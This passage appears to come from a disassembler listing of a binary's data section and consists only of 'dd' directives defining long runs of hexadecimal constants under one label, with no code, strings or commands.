		dd 242705F7h, 0B4B24240h, 3B4396FDh, 4855F4A9h,	18E85FE8h
		dd 0BE10BF34h, 1BCC33B1h, 0AC18D67Bh, 0F1BAAF8Ch, 0EB03C576h
		dd 0AB341F29h, 5FB4EAEEh, 37A28747h, 0DB4D683h,	1420FCC0h
		dd 0AB672B09h, 1C62539Bh, 9B38675Ch, 227C9409h,	8240F70Ch
		dd 20BE1D0Ah, 0DC90A83Dh, 45A88461h, 98A16B18h,	0B6F01574h
		dd 6827FC10h, 8B1D86AAh, 2FAADA89h, 2E541BE3h, 4AEB281Fh
		dd 885CB37Eh, 0CF4305ADh, 77DBE270h, 0F40A9C52h, 727D292h
		dd 321B1958h, 8C6EE549h, 7CD1392h, 14D1BB37h, 6599DBF0h
		dd 0B3659AD7h, 67E88116h, 0E6351D77h, 18559CAFh, 21D90D06h
		dd 2BC037CBh, 738E6B8Eh, 70EA212Ch, 6568AE87h, 0FD9B285Ch
		dd 1D757128h, 135313FEh, 0DE29BF77h, 0E02BA3E7h, 1577D586h
		dd 27B7F1B9h, 9CF327Eh,	7D6F4AA3h, 71E71018h, 0A3EC3BB8h
		dd 6788FF7Ch, 116113A5h, 0DCFACBF5h, 8298C232h,	40C5233Eh
		dd 89D904D4h, 5388A698h, 9295A57Fh, 0BA1BA21h, 0B8AEA472h
		dd 0E1803CABh, 0A6ACC27Ch, 2753D8F6h, 0A52B35FCh, 8628D08Fh
		dd 0EDFC224Ch, 8BC026F3h, 184AEF98h, 1C066951h,	0EEE73ED6h
		dd 0D97C9681h, 5689E881h, 0CE408EA7h, 0F6AB4B2h, 0BEBDAE6Fh
		dd 26E83C09h, 2F584FCBh, 0C21BC665h, 45AEB8D6h,	9A577C5Fh
		dd 0D691EBB6h, 4A5E33E4h, 4BE379F9h, 0E85910EDh, 2CF766D4h
		dd 0B34F1387h, 610586B0h, 0D7C072FBh, 75BDED4Ah, 84EDBFBDh
		dd 0C746A473h, 869633B5h, 0E792186Dh, 0A315C6Dh, 473D108Bh
		dd 0D1545472h, 868AA6B6h, 0C1E0FFC3h, 0AAB8CC57h, 0B1A3925Ah
		dd 40EAB7D9h, 372F7729h, 0CDEE4B56h, 460D5Ch, 20D960Dh
		dd 5F94E552h, 2E770F1h,	2761911h, 0F54BC581h, 319E8300h
		dd 31247010h, 3DDFA99Fh, 4B2199D2h, 4D098D61h, 0B6CB3B73h
		dd 0D85BBACCh, 36F2D80Dh, 0B8D550AFh, 8069567Bh, 0E2C72804h
		dd 0DDAFC48Fh, 60AE46E2h, 4C34C35Eh, 2B6D2FD0h,	13F8BC3h
		dd 0E431A683h, 0A368E9A3h, 0AF891045h, 7C0B5476h, 8C929907h
		dd 23023832h, 0FE805EEDh, 0D9786AA0h, 632351A3h, 8F7AEBBBh
		dd 0DF6DFF3Ah, 0E92FF5FFh, 0D5FD065Dh, 71E2696h, 858EE36Eh
		dd 92C27D0h, 7C5A9057h,	4DE2B70Ch, 7156EADEh, 0B4A3AE43h
		dd 1E464CE7h, 735268BAh, 92927156h, 4F33ADC6h, 0E55820A0h
		dd 0F235C32Dh, 0DFBCA31h, 9A2EFDB3h, 4BF15D29h,	0E54ECF13h
		dd 3F936204h, 18875A18h
dword_3D7000	dd 1267DFEBh, 983D89AAh, 203A8C1Bh, 9D27A6CFh, 4329A96Dh
		dd 2D0D0EAFh, 2045034Bh, 70B0EB4Dh, 0DD5C3CB3h,	89C1C6A3h
		dd 0BFAA5230h, 0B55B5565h, 1CCA7639h, 0DBCD5C46h, 938BFCD9h
		dd 8041DA88h, 0C8803D90h, 2FFA76D2h, 0F0608E5Dh, 6C4E8CCCh
		dd 594895ABh, 78109E47h, 0FE78A1F7h, 0E6ECC401h, 0B4635E83h
		dd 8646B56Ah, 935E9461h, 0AC25C69Dh, 0AAAF524h,	5CCFD650h
		dd 0D79016CCh, 96B97FDDh, 0F56CA0C1h, 0EE0E0A94h, 534DA175h
		dd 0CF160B0Eh, 2DF078BEh, 6DD9EF06h, 2A2E7FC2h,	50F08CC8h
		dd 0AA77D40Bh, 0D15E5A4Bh, 17656DE5h, 12935106h, 916C2490h
		dd 3B3C629Dh, 0CEA725F2h, 0A8D5178Ah, 0A748B4FDh, 3A5D09F2h
		dd 9D0B06C9h, 6C808A14h, 13543C54h, 4AE8260Bh, 0EFA95A78h
		dd 9AB39AF2h, 2B72A72Bh, 95740146h, 0ED8AAC7Bh,	34096A52h
		dd 0D635E384h, 5E20A2A2h, 0A3579458h, 310917FBh, 0CE1F9D3h
		dd 10A6C1A4h, 0FB3BCEB4h, 30C700B2h, 2C17D561h,	1C57ED4Fh
		dd 0A33DC5EBh, 35544D04h, 84EFF087h, 0AA56105Ch, 59D1AD0Eh
		dd 7A9ABAFEh, 0F7017046h, 0D27AAEFDh, 0EE98E0E3h, 6D079E45h
		dd 7D83AA0Fh, 339EA99Dh, 0F4039D45h, 341E682Fh,	0D386E981h
		dd 658E8A7Dh, 72CC0094h, 5558BA3Dh, 65CD450Fh, 72062A33h
		dd 0CD3BCCC6h, 386B324Dh, 0A6F7ED9Fh, 14961C8Bh, 617A7F07h
		dd 17CF2A16h, 6C6367C1h, 0DC4806C4h, 96E7F0D2h,	0B0504107h
		dd 0ABE196B0h, 39396D21h, 72B14F96h, 506F171h, 63ED9240h
		dd 4667B559h, 0FAFBD6C3h, 9D6D716Ch, 0AC88B587h, 70477E1Eh
		dd 2EA6179Ch, 0B5C8B109h, 0C723FD46h, 0D7DEB084h, 0AE438ECAh
		dd 35171710h, 920A7026h, 4E056718h, 7C111CB2h, 0DD896859h
		dd 21327559h, 0AFD3B3F7h, 4FAA8DEEh, 5FA6F53Ch,	99B5F17h
		dd 218A2560h, 0DC3F7232h, 1A8DB989h, 532239FFh,	69114754h
		dd 0E7034948h, 0A6AD7622h, 2F9A2005h, 577494E3h, 0DD4C4666h
		dd 9F577193h, 0B18410EFh, 0D232B9E1h, 0E13B7A91h, 0DC40D2E8h
		dd 0BBD7650Ch, 0C9CA4934h, 10202449h, 4C6CC09Eh, 0D2D2BD1Ah
		dd 0F299CE13h, 41B44246h, 0FB092B31h, 60F0378Bh, 0DF750736h
		dd 3C94B87Fh, 0BBC8E7D8h, 89916350h, 57E2648Fh,	0A202F454h
		dd 9548FE9Fh, 778A8FBBh, 3EE2A8EDh, 0A8210774h,	0AF850BD6h
		dd 0D2EA3845h, 0D69A14EFh, 7A2DD27Dh, 0B9F6923Ah, 9407412Bh
		dd 66537774h, 0E93B56D8h, 0D1203A24h, 1BC2C98Ah, 43AA8B11h
		dd 74710237h, 0A596CF4Ch, 5269C281h, 40A42CAEh,	6BDE0A1Eh
		dd 6A471460h, 7AC3FECDh, 2ABF8AAFh, 71404625h, 0BCF40773h
		dd 0D28E85E5h, 0A1B7E75Dh, 5EA09A34h, 92382A92h, 6D6F3C13h
		dd 157C1B7Bh, 0D68BAE41h, 71002154h, 22A798E6h,	5BA47751h
		dd 3DE0C470h, 0CC6D87C9h, 19E8A70Dh, 3AE78852h,	73B8AD8Ch
		dd 81F4955Eh, 0B574EE72h, 0A97AC65Fh, 0D0DEE6h,	5A2CCFDEh
		dd 6EEC1B4Dh, 5F88288Bh, 41924DBh, 4688533Ah, 0E9F8E11Dh
		dd 5325D2D5h, 4A723B39h, 860431ECh, 487B834Eh, 0CA06C06Fh
		dd 18F5A50Ah, 9F5C5481h, 9C5BC52Ah, 0C8047C51h,	80DB8F7h
		dd 0E24D5F6Fh, 0FCD530C5h, 0B4813155h, 0A364A90h, 75F69263h
		dd 5B2F0968h, 8B76566Ch, 4A39F0D4h, 0FFBC7DB2h,	2AE8C01Eh
		dd 10DF78CCh, 5C3E8F86h, 5973E2D6h, 474E0E7Bh, 0D07DC763h
		dd 0C554E95Ch, 5A6BB142h, 8DB726F2h, 64246CBEh,	0F985AC9h
		dd 0E5C064DFh, 1E747B8Ah, 0D1FE6FB9h, 1BD48EB3h, 81E0B619h
		dd 6A3A9CE2h, 0EC8D10F1h, 604BD6B8h, 0CE5E93DDh, 34AA4CC9h
		dd 0CF9AC3ECh, 5EEB9B47h, 0AF940767h, 85C7E9E4h, 9FCACAA0h
		dd 5A075032h, 416D0C0Ch, 79260B93h, 0C001E6C7h,	2F37ED70h
		dd 88A1D3A9h, 74592D0Ch, 47F93E5h, 0AEC82093h, 0CA897324h
		dd 82247636h, 0B58BE1B4h, 0C9DC8334h, 0C9841DFBh, 39270EF5h
		dd 0F02AEF4Bh, 2F7D5216h, 0C2816F4Dh, 0C0A5C08Ah, 941DC7AFh
		dd 9683C6A2h, 647BD195h, 243723EAh, 0AC08942Ch,	0E1A03002h
		dd 94018016h, 0F3B9B2D6h, 97C4781Ch, 7FF6F015h,	0F01B6DA7h
		dd 0B9E8C9A3h, 0E18FB52Ah, 3A210E2Bh, 8B662711h, 0CB595E0Eh
		dd 40F4CA2h, 2E657232h,	41AD7407h, 0B12CD15Ch, 0F70FF26Fh
		dd 0C4696EA0h, 4E5ED060h, 3F89E759h, 4EE5A809h,	88105B6h
		dd 127EDC73h, 0B45FD41Ah, 0C618CFAh, 29069588h,	335B5920h
		dd 4933259Ah, 3F5746C5h, 0BD93367Bh, 0E09CD303h, 69248F5h
		dd 24BCB226h, 9B4A4461h, 0BAA173C8h, 9A22D494h,	0E9BADFD3h
		dd 6D99E149h, 0B4E30A45h, 0DC9ECBFDh, 31FFA720h, 0C8B28274h
		dd 9F077848h, 0EC7AD037h, 0BBD25750h, 0C4AFD32Dh, 680E55F3h
		dd 0F4D73C7Bh, 98909B23h, 0FA8B9909h, 4797F97Fh, 0C0BBAE77h
		dd 5D07C35Ch, 84F31277h, 0A6C1728Ch, 4BAA71A9h,	0A40E9F1Fh
		dd 0FB8960CDh, 1A112057h, 332951D2h, 7B2DF2D5h,	6D827913h
		dd 41541DFCh, 6E99937Dh, 0BD042F19h, 88D2F443h,	0ED1B627Eh
		dd 0E30BF5B9h, 9B469C9Eh, 5E5AF6FBh, 31ED6057h,	95E03DE6h
		dd 0C80DD85Bh, 0B0EAB255h, 53EE8BD8h, 0FD041FC0h, 224D883Fh
		dd 0E804B98Ch, 2A22E651h, 2F059D68h, 0E8DA12CDh, 4E38C78Ah
		dd 289CAB81h, 1AB1A8ECh, 741C42F1h, 2D7C1B6Ch, 41B80DB8h
		dd 76DDE3E8h, 85CF9D8Bh, 707967B0h, 0ED4C7538h,	34433EF3h
		dd 210C1E03h, 0D51B259Eh, 0BDE9726Dh, 0D7CC8E2Ah, 0CC477584h
		dd 8CBDE895h, 2220F8B9h, 559AAA03h, 0EC538836h,	32555348h
		dd 0C61BFB59h, 0F31CB58Bh, 0DF4BC291h, 1D058411h, 0ED6DB839h
		dd 5962EA50h, 0A19FBCA9h, 0A80DACAEh, 2E24272Dh, 0F923DDAFh
		dd 0FC013BE7h, 5F9C3D67h, 0DE3F7506h, 0CBE24F31h, 0B3329896h
		dd 51137D99h, 0B04E0BF4h, 0C292D8E7h, 0E84E0451h, 2C452B87h
		dd 8D6628CCh, 3D407B46h, 0F7C2EF51h, 27A47E4Ch,	79364EC0h
		dd 0AECF0F1Ah, 0ED68F953h, 97DE23A2h, 69B31699h, 644793C5h
		dd 0C79A0092h, 6C1996E6h, 51A149ADh, 0E7B1ECA0h, 0C14EDCE5h
		dd 2B797AC5h, 5C3B265Fh, 463ABC51h, 0EC65E8ABh,	0DFA4CE5Eh
		dd 0F276074Dh, 1E4D5576h, 0E8478FF8h, 0B28ED1B2h, 41577402h
		dd 9C38B4DBh, 0CDFC7510h, 80F269CDh, 0C4CE7CF0h, 0BBD5EA49h
		dd 0ED12C981h, 0E41F0984h, 36B0A188h, 1AE1EBD2h, 0CB02360Ah
		dd 0BE8D0EFAh, 0E99AFEDCh, 0CC918B4Eh, 2446E0A2h, 0A6753D84h
		dd 97F47D4Bh, 0C14EEF87h, 402BD569h, 0DB97E417h, 0CF72F92Ch
		dd 49105929h, 8E4D8B4Ch, 0EE9434E3h, 8096F2BEh,	5A56E9F9h
		dd 0D663D236h, 0B12110Eh, 2136120Bh, 276BC3D6h,	4C254126h
		dd 3C631E61h, 1B841AB0h, 19A029DDh, 0E81C16ACh,	83CB5846h
		dd 7EF03ABAh, 0EC53ABB2h, 0A2EBDB9Ch, 0CDADDBA9h, 31BF40CBh
		dd 0FBCE1CD1h, 3BC2ABE7h, 64967FD6h, 6BF0FC1Bh,	9639788Dh
		dd 0E6C302DEh, 0F1DF7BC4h, 6DDBAED5h, 0EDFE532Bh, 0CB912FE2h
		dd 799EFE2Ch, 70880BEFh, 0CB73504Eh, 0B770D77h,	4ECFF23Dh
		dd 0E7B907A0h, 9AFF7CE1h, 6C8A022Ah, 0B6B4D6Ch,	80CAA9A1h
		dd 2D5EE59Ah, 0CCBE6E46h, 980E7364h, 99A34730h,	0A0E88EDEh
		dd 0A6B8793h, 4C71B1EBh, 69323585h, 546D8ACh, 6E742E2Fh
		dd 0F9501782h, 121C8415h, 5A1B30C5h, 0DE92A204h, 7F02306Bh
		dd 0DBB65238h, 59EF8C5Bh, 2124926Eh, 0B6B2A119h, 0AFD433A2h
		dd 0EBA21587h, 0B2550711h, 0CB5C093Fh, 0F8DBB2B0h, 0B6E9BC9Ah
		dd 0AF68DC8Ah, 0A163A2F8h, 0C9EB748Bh, 0ABE6567Ch, 64213A99h
		dd 0A8B1922Bh, 0EC51CB3Ch
		dd 31B01D76h, 0C1749FCFh, 2C9407DEh, 0C02FF292h, 79AC366h
		dd 0AF30851Bh, 42C91119h, 59245419h, 0B3CDE223h, 17F857F3h
		dd 9537FAC8h, 0B86A24B3h, 0D824F1F8h, 108F418Eh, 8307DFDCh
		dd 0F5B873CCh, 43F1DE7h, 5F5581C1h, 4309ED04h, 0EF3D1EDAh
		dd 45243294h, 22BCBD88h, 0D8748B2Bh, 236E9345h,	0A21D5332h
		dd 0BE926DA6h, 3EC70343h, 0CA5A96A4h, 97B044FEh, 0F792B169h
		dd 0FB5B9D1Ah, 31AED88Dh, 510C5DE7h, 5F43637Eh,	0E444E710h
		dd 7D550E5Dh, 0C8560236h, 3A5BE432h, 0BBDC042Fh, 63CA5711h
		dd 3E875418h, 0FD9C45B3h, 1FC9CA1Ah, 60620637h,	154AD41Ch
		dd 79C17945h, 0D82A067Ah, 0E721BEF0h, 0B7283FEBh, 0D85A5142h
		dd 620F70E1h, 2B5AD8D4h, 0F0ABFC1h, 0A6B58EF6h,	0C03091C6h
		dd 0F8DFC7BCh, 0DA5009Ah, 7AEF65E8h, 72C6ABC8h,	25EF12E5h
		dd 113E130Ch, 8D3FCC1Fh, 431D2074h, 7D6D4DA7h, 0DDAF91E2h
		dd 588B239Bh, 675A753Bh, 0A5A5DF62h, 3362703Dh,	7C99DC37h
		dd 881DD9E7h, 2EDF4D93h, 0E0B41A06h, 0EAE62E06h, 0C30DD18Ch
		dd 640C1691h, 4B2F8FBFh, 7C73EFBDh, 577CE3EFh, 6672705Bh
		dd 54913DEh, 6043AB03h,	6400E0C2h, 0BD443882h, 51003A37h
		dd 0E8DB10Ch, 0F5328FD6h, 54DE9962h, 426E84AEh,	216442B1h
		dd 0F775F7D2h, 0E5B056E2h, 57003D14h, 998A7AFEh, 1E9C3476h
		dd 133CBF29h, 0D33B8B77h, 3253C4F7h, 0F6D77F11h, 0D6E903C7h
		dd 0ED7287A4h, 0EF8345DBh, 857AD3A3h, 4D2B5038h, 1040B271h
		dd 6BBFB2CEh, 8D6DDCE5h, 1C5DAB74h, 925D86C0h, 96B467FAh
		dd 8EE4EEF5h, 0AA0F9B9Bh, 852A02D6h, 0B2C8411Dh, 0BFA8A808h
		dd 0D47BF6C0h, 2471F45h, 92B5C4D9h, 6C8B3D46h, 22AD8D54h
		dd 0A40155E9h, 2B683278h, 129BEFFh, 0C3E5C713h,	12BB28DFh
		dd 2BF714AFh, 11172498h, 0D6916F91h, 0B0D69224h, 901290AAh
		dd 8BAF0EFBh, 0C09B3A0Dh, 2AA4A355h, 4F297722h,	0BD251A29h
		dd 0E932EC40h, 63F99939h, 0DFFD8258h, 383C3E9Dh, 0A8523832h
		dd 98CB4A07h, 88C597FFh, 54FF7E33h, 4A16DE78h, 87D57F74h
		dd 0E3E64C31h, 0B59ACB61h, 0D6BF54B3h, 3CC3E420h, 382619FDh
		dd 0FED450AEh, 8E6495FDh, 820922F1h, 6BFB89DBh,	1EA0CC9Bh
		dd 0DF3E468Dh, 51659D92h, 14A9B9D0h, 3951D5C4h,	0F55AD0BDh
		dd 2A2B5E0Bh, 2E89511Dh, 9313EA56h, 4B1A7113h, 60A3670Ch
		dd 2415EBB5h, 8ACFDB83h, 57EA9199h, 0F8882Dh, 738EDDF9h
		dd 5F8C0BB1h, 7C649AE6h, 2541B25Bh, 0C1CAD893h,	26FEB350h
		dd 47BEDFE4h, 7560A96Dh, 9CE786B5h, 0FF31F9FDh,	7433F0BEh
		dd 4E7A787h, 189EDF30h,	7E2F959Ah, 0DE8DAEB6h, 475E31CFh
		dd 0C8AB7CE9h, 886AB27Dh, 0D969EAF8h, 0A5B11817h, 1DD7C83Ch
		dd 0C83DF30Bh, 48D429D4h, 8372E2C4h, 0ECD3110Ch, 0C8610649h
		dd 7BC07C8Dh, 0EA9858CDh, 96317FA3h, 9545834Bh,	0B243A9B8h
		dd 0C9D4EC63h, 4739A71h, 5A016F0h, 97D93A80h, 8C8081A5h
		dd 6A6409E8h, 0AAE9E5A9h, 963D14F8h, 3865E465h,	0B63D4C5Fh
		dd 0C893AF2Fh, 950E13F6h, 96C1E518h, 0C91B582Fh, 77FC6C43h
		dd 5EF8FB8Ch, 198EBA42h, 0ED08C243h, 0C11C4EDCh, 0A1B34CEAh
		dd 0CD62C719h, 7C5366C0h, 87886BBCh, 0A2E09B31h, 0F743EBEDh
		dd 0D367BAE6h, 2DB3E18Eh, 46D4E50Ah, 0E612981Fh, 0C3C835BEh
		dd 43EA2F4Dh, 0AA375C39h, 5FC28AC4h, 5B7E54BEh,	5085ED99h
		dd 1A25AEB6h, 0C01FDF8Ah, 15B8F210h, 0CBA84753h, 7CC2F94Dh
		dd 6F14608Ah, 0B8C0599Ah, 76883087h, 1BF8C286h,	7CF44D8Ch
		dd 58692B03h, 0A595674Ah, 5B9652FDh, 8B10DD9Ah,	6E39BF15h
		dd 14B8D7FDh, 0CC253C81h, 1892E710h, 7A42C7Dh, 0FD13A6B9h
		dd 7EC4C8D9h, 0ACED647h, 8142370Fh, 7C917856h, 33DDFDA9h
		dd 531624D6h, 0FD8504C8h, 388CC0C1h, 0E56DB23Dh, 83007D48h
		dd 89CC86CBh, 461C0C0Ah, 6D66D2CCh, 0C3C380CFh,	0B0A4A030h
		dd 6DCE259Dh, 82F9467Fh, 0C83BC80Fh, 0CB464DF1h, 139F9B03h
		dd 0BB8E7D01h, 28F698BEh, 0D3FDCA95h, 8B4A33E0h, 6508AD34h
		dd 1D7EDD1Fh, 93841ADDh, 9DA8A290h, 0B85BC99Eh,	3E80E38h
		dd 0AB34CFA2h, 31B51654h, 5F4092ABh, 0DEDD2A7Bh, 0A8E2F52Bh
		dd 0CE3181F7h, 0E1596F4Ch, 91953B70h, 68A82F51h, 16E2597Bh
		dd 1B88F2EFh, 0A96892C4h, 0FCEFA876h, 43901Fh, 2D99013Dh
		dd 51D36F3Bh, 0BBBA62B6h, 46BC06FFh, 7CBF037Eh,	0E415826Fh
		dd 0B6F9A5BBh, 5FB9D197h, 2D1414A8h, 840FFFDCh,	11F10E46h
		dd 6CE67D63h, 6FA655EDh, 0FA075936h, 93E35D4Eh,	0DD56AF2Fh
		dd 9917249Dh, 7B12BE2Ah, 0A211AA8Dh, 2DA4FB6Ch,	90910E1Fh
		dd 5AE6E8B8h, 0AF329CFEh, 0CFEF965Ah, 0E21BC1DEh, 0DE5CFA61h
		dd 0A0A6D6B5h, 4BDC8330h, 0EE6C1CA2h, 0AC01DD0h, 0A49A0349h
		dd 43B247EFh, 0E83B88BFh, 5DE11913h, 0F896211Ah, 1468F797h
		dd 0B0D03B9Dh, 0BD4E2441h, 0D79A722h, 0EF0F6E5Fh, 1689EA8Dh
		dd 0CD84C6CFh, 5C2A5791h, 0FFE26241h, 2358339Bh, 2FE00075h
		dd 6BB1E92Bh, 30CAE40Bh, 7BE9C42Fh, 127DBCF2h, 4DBF85ADh
		dd 444F0EEAh, 4235F052h, 0A97B04B0h, 22B30654h,	6F450191h
		dd 0DDACC9F6h, 238645ACh, 213DF161h, 7D84772Fh,	0FAC5B995h
		dd 8E70B907h, 0F35A10CEh, 46E0B19Ah, 261E999Bh,	67219918h
		dd 4CB8F583h, 9057DDA6h, 46F664DEh, 0E5B1CADCh,	4CF710A4h
		dd 3B2A1E25h, 7917D72Dh, 3F6A593Ah, 0B82B68D1h,	0E3D826F4h
		dd 51AAF602h, 0BBAE4432h, 9E513C34h, 0C9534Dh, 56DB2AD5h
		dd 0B9243D12h, 76EC0E91h, 0DFEA94B3h, 0A8C2D9F3h, 622A208Bh
		dd 0BA95CFC6h, 58A415AFh, 0AEEA1DDAh, 16CC9E8Ah, 26BA4236h
		dd 550168ECh, 0BA194DAEh, 3AF272EAh, 46CBE1B0h,	0CCB63C6Eh
		dd 817AC07Ah, 5BA08747h, 4E30A649h, 0D54813BBh,	14CD2BFh
		dd 2B22050h, 48AA1E0Ah,	9F14A2B2h, 5A1DC0CEh, 0DB4C3FD2h
		dd 39D649B3h, 63E8D15Fh, 6FFD6071h, 0A5658552h,	1ED47CEDh
		dd 0D0DA7161h, 35358D4Bh, 138E357Dh, 36CE35C4h,	0FD29F507h
		dd 0D3800FEFh, 819DA2E9h, 1EDB148Eh, 0E672401Eh, 2D8F9993h
		dd 0BD56D2EBh, 0A40C4855h, 0DFB222E5h, 0A2AAA211h, 14CD6A71h
		dd 43B97BD8h, 0E91DEE49h, 41600C52h, 90E6B21Bh,	0EF3FF37Dh
		dd 0BAAEB735h, 0CDC448FFh, 0E522AB19h, 0A160D6C5h, 6FF9C431h
		dd 16A760D3h, 0DA60B5F0h, 5E3806F7h, 0FC271545h, 67C6745Eh
		dd 9BBA5BB0h, 0B67F8840h, 7BE6CE2Fh, 1E490B73h,	0C5AAC648h
		dd 34059810h, 73446715h, 0B5BD8348h, 5DEA4227h,	6E2ACD9Fh
		dd 8F11EDEAh, 8B0691A8h, 0CF94A047h, 0D1101E4h,	0A6548E4Bh
		dd 0C969F53Ch, 3C1ACD88h, 0D4ACE91Ch, 0C563DB09h, 779E2A3h
		dd 0F44B2435h, 4E30FFD9h, 6D2B4E3h, 0C846C169h,	0D665C089h
		dd 0E760CB33h, 7EEA8100h, 8EB7F78Fh, 0BB640B70h, 80F1B5CDh
		dd 5AB74A91h, 24D1F6F2h, 5A20AB9Dh, 2766A6Fh, 6AAAF4A2h
		dd 59F4DA54h, 12575FCEh, 95497131h, 0D38E4735h,	0DCCFDB0Ch
		dd 16E24660h, 68EAC33h,	18A84692h, 4264B3F3h, 0D603C3A1h
		dd 769DF203h, 0BE4F9E21h, 0BBCFFE56h, 0AF06D10Fh, 89BC98E6h
		dd 0C98FC2A6h, 3CF2E444h, 60C6A4B5h, 5749A908h,	6F42697Dh
		dd 6937FE90h, 75F35A40h, 0E8BD4DDBh, 6D4196F2h,	3B4B6C4Eh
		dd 29125EB8h, 76A0C144h, 37D76A1Ah, 308BDB2h, 0C6A4D749h
		dd 0FE5E789Bh, 7E93520Dh, 85C583F0h, 0B9D9C4BAh, 0F7E27B34h
		dd 0A99037D2h, 5A95A06Fh
		dd 56A494BCh, 73164342h, 3EF7ED1Ch, 0CD7D4460h,	4CF13214h
		dd 9A454486h, 90EE20D9h, 8161E522h, 0FC42CD28h,	0CBB0DD2Bh
		dd 206C9E5Dh, 4FC3418Dh, 3826E073h, 0C1D2B7F7h,	0B2778DEFh
		dd 0F717E50Fh, 5F2B9661h, 0FF0D1305h, 287AF172h, 2DA15EB5h
		dd 0B8784592h, 619CEED9h, 33F49964h, 0EC23293h,	64307D3h
		dd 0D699C7F1h, 0FB290752h, 16A3DF3Ch, 0F0E3882Bh, 14A60541h
		dd 41D8CE4Fh, 0ABF99C8Eh, 0F517BBCh, 0C000C103h, 0F1058DF6h
		dd 0E164A79h, 79FA94B0h, 5809C067h, 1C985F89h, 0D7067242h
		dd 0B43D781Ch, 0F7BCF84Eh, 0AD2D45E3h, 58C4F541h, 0ED13F819h
		dd 0E6E30E96h, 3007791Ch, 2C389DA0h, 0D48D5236h, 0F041B4EDh
		dd 6B72BB37h, 0FA175947h, 0C7171113h, 99F3213h,	0A937E6E1h
		dd 8E1C8424h, 3DD41D57h, 275228ADh, 0AAC6522Bh,	0A8CAF387h
		dd 33563DFh, 673F443Eh,	0E6AE4445h, 3FF3A4D7h, 0B04660FFh
		dd 0FAD24601h, 0E3D32D52h, 4133AB73h, 53D8449Eh, 530B54FAh
		dd 0B5E3E2C3h, 57F4D413h, 0BABB7D5h, 0C1DDAAD7h, 0B0A8952Eh
		dd 7F4757C8h, 0F05C86C4h, 615ED3A6h, 8D71B245h,	4959300Bh
		dd 88B2AF82h, 47617B92h, 2E01EFC7h, 0BBFBEE32h,	0ACE2DEC9h
		dd 0B12E0271h, 6ECDDCA3h, 197EAE1Ah, 1EC4A567h,	0D516BE22h
		dd 4083E7A5h, 3B440932h, 0F6EFEE29h, 60ACA242h,	241C8C7Ch
		dd 86AFB27Ch, 63C272A1h, 0F48F40F4h, 2511605Bh,	0DA501EC7h
		dd 0F38636F0h, 8F3D2E41h, 5DAD3308h, 0C19AF926h, 0F8A3DCC6h
		dd 0BED902FFh, 89417AC4h, 0B8CFE676h, 0EA8B299h, 0DED936EEh
		dd 5DA2E732h, 0BC1C9302h, 848A07ACh, 7650DC97h,	0E198C5F9h
		dd 0B3E7F94Fh, 0A7D2C7h, 0AD5D5738h, 0FB25D951h, 0DFF270F8h
		dd 6DBFCDD3h, 706A94BEh, 32B41EACh, 0A3DE2228h,	44C83584h
		dd 0ED63F4A6h, 84AD124Ch, 3B2BBFAEh, 3F665E14h,	0E94E5253h
		dd 0D8E30E60h, 0F68738A4h, 0CA1973F6h, 634EE618h, 17F6F254h
		dd 2FB13671h, 88A9E603h, 4FA02D91h, 0F58B9ECEh,	7ACA3FF4h
		dd 0C4BA9B2Ah, 3ECF6C06h, 4B5E46F8h, 0DB30D98h,	0CDA6AFBBh
		dd 26932A0Bh, 0A8D44E36h, 0B965D81Bh, 360E66BAh, 0E959396Ah
		dd 0BACA78ABh, 1A87EB2Ch, 0DB851E79h, 6460C791h, 0A176B48Ch
		dd 0FAEAEE04h, 8E459583h, 7B7C4185h, 5AEC9E90h,	0EA34B0DFh
		dd 29B46A6Ah, 0A78F7826h, 4C41320Bh, 46FBD5EBh,	4354BAA7h
		dd 8FEEA5BCh, 53F4271Dh, 0BF446B3Bh, 8213F500h,	0C487D3Ah
		dd 0BB60874Dh, 645F69FEh, 0D71968C7h, 7467B2E8h, 13084EF8h
		dd 0EBDC96F8h, 626C778Fh, 4842DEE8h, 0A3C25173h, 6A910479h
		dd 47C397C9h, 8F88A635h, 4F2BC21Eh, 0B9C9CE83h,	59CAAB7Ch
		dd 440DA943h, 0A211DBC0h, 64CA75ECh, 5CC75A7Fh,	9BCA3070h
		dd 0F5059006h, 6D735AB0h, 0C68613E7h, 5FEE044h,	9CCEB1C4h
		dd 7C78BE44h, 0F24BEA51h, 300E347Ah, 1AC390D3h,	45DCED1Eh
		dd 94385A79h, 0B87AEBD6h, 373AC39Ah, 0BF580D89h, 0A228242h
		dd 53249E12h, 5D5C3292h, 0D931954Ch, 2B8E0F49h,	86FDA119h
		dd 7284CCB3h, 0C2DE5252h, 9B665160h, 0AAB29CAh,	6A87B79h
		dd 7EDE3DC8h, 7E8F9C9Ah, 3BDF5FAEh, 536B3E79h, 5827C92Dh
		dd 0E3BF53BAh, 0CB87B124h, 68E42631h, 44DD6364h, 618AE6D5h
		dd 10B91929h, 765288CDh, 0FEFA059Dh, 0D72909F3h, 0C762C9ADh
		dd 77E55C30h, 0F7F0EC59h, 9D2080F4h, 388C5A5Bh,	303484D0h
		dd 0E257EF20h, 73D6B43Dh, 98B1D912h, 89865099h,	9F9BAC05h
		dd 1310E3C8h, 8E3EC4FEh, 0FCE0CE5Dh, 0B3BDE087h, 0A249F673h
		dd 822B33CDh, 6C81ABCEh, 3EEEE40h, 4C3204Fh, 6C92260Bh
		dd 0D92DC812h, 0C5489A3Fh, 3F6B0969h, 9EC4A2EBh, 7EFC2FDAh
		dd 0B12B2EBCh, 13013B23h, 4432619Fh, 913E716Eh,	0D4CEE0EBh
		dd 5F289570h, 0C4315469h, 5BA29873h, 0CD876D9h,	0F1D5FE0Eh
		dd 0EE8595E6h, 4694A555h, 18AB121Ah, 78DB5C77h,	53D03283h
		dd 0FB2A8699h, 0D6BB9937h, 0B4B94ADEh, 970DBAE4h, 18BBF09Fh
		dd 0BAA9E63Eh, 0EF8B54CCh, 77CF856Ch, 0A5C9C695h, 9E0FBCF1h
		dd 65C701ABh, 68355F4h,	0BA06C1B1h, 8BF9BC7h, 0F45D4BE8h
		dd 24DC54C0h, 6694802Bh, 8AFF1588h, 0FA9FABE4h,	8ACFAFF9h
		dd 7D678483h, 0D25ED8DCh, 9B49557Fh, 0F6A4855h,	0A1FDC09Eh
		dd 0D86AE58Ch, 63C6FF62h, 0B82025C2h, 72BE1F63h, 30434979h
		dd 57F6936h, 610F06D2h,	0C934D928h, 8A98E15Eh, 365DDB6Fh
		dd 55D72987h, 4E7B247Dh, 0AC4858C9h, 0E250B636h, 0AB248181h
		dd 0A0B48869h, 0DB091459h, 7958AD5Ch, 1AF36C84h, 0C365F0C8h
		dd 745E8B60h, 55DFA0CCh, 0F73E8053h, 4454B2D1h,	3DCD2531h
